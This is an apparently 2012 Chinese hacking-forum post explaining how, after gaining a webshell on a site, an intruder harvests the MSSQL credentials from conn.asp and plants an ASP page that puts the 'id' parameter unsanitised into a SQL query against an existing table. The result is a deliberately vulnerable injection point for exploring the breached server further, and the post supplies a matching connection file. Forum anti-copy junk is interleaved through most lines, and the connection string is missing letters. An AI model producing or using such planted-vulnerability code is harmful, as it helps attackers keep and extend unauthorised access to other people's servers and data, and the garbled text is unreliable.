找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1753|回复: 0
打印 上一主题 下一主题

自己构造注入点方便入侵

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:27:31 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
自己构造注入点方便入侵
# }5 ?! `4 o. I- ]( u- a/ y
" Z- @% |$ u3 o今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息
5 g+ M, H: L4 j1 |
5 s) r  j6 \% C9 _1 a这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!
& q8 ~% C' `+ o1 q& t5 T5 w
1 P1 |1 y8 S0 I, }) l首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和7 G, E  E/ h* a: n9 \& o

  c  N3 m5 K* |! Z2 q- g密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表; S2 G6 d/ e# v3 k: B' j# k
  K& ?& l" R3 R
因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
1 s: x3 t0 ^) Z# R+ n$ [  Z& _, b% a, e- W9 G
程序代码6 Z7 H6 x" \- X) i7 @" H, K
<!--#include file="xx.asp"-->
8 E* C- v: m5 j<%0 z9 X% t( x, ^7 M) }8 V
set rs=server.createobject("ADODB.recordset")
+ _+ h+ Y. k; uid = request("id")8 }7 C2 M5 Z- X; `; X
strSQL = "select * from admin where id=" & id
- c% C' a: j, S% g  w7 s5 M9 |rs.open strSQL,conn,1,3
7 j$ y& l1 R" T9 z$ Mrs.close. D& T- ~0 ?, P4 H% m+ D# W9 s
%>7 g- l- d  P; A* k7 x& S
8 [; W; g+ G! B, l) Z' z8 Q, l
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在
; ]4 `8 J" u. c2 \% O6 j! {6 l' l+ V
你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!# r/ y- f2 U+ d
: s/ R6 @6 i) z6 n( z
然后就要构造一个连接数据库的文件了,代码如下:
/ d6 v4 [; [) v+ F0 i程序代码
2 O. U3 q' N6 u% a* n<%        
+ ^* V; V. C8 H  |4 BstrSQLServerName = "000.000.000.000"     '服务器名称或地址0 l, e. D: j  o! x
strSQLDBUserName = "sqlname"         '数据库帐号
: b$ O( x: e1 }  e. G% `strSQLDBPassword = "sqlpass"         '数据库密码
9 Y  ^% i) C! g: astrSQLDBName = "sqldataname"           '数据库名称
+ u: K3 d0 Y& v0 P4 J; jSet conn = Server.CreateObject("ADODB.Connection")
: ]: }' S& `  [: u/ VstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
& @0 c3 x  V) [) v" }! h# J6 bconn.open strCon
8 A( n9 m3 ^1 e  U. j( J: ?! X' Q2 V%>
; @4 ^$ g, ~) |8 K& P; ^( Z& ~
0 \. H# w  }+ L4 [& f, D/ F这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,
( W- R- Q3 l! U( A- d$ J0 o! v# _
, B2 P+ U7 P8 A+ B0 `- f7 {就这样,正常情况下,就OK了,伪造成功……
5 |' b& I, Z* O8 y9 b; D) C% x$ }% R& C% b
           如果有什么问题可以提出来大家一起探讨解决。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表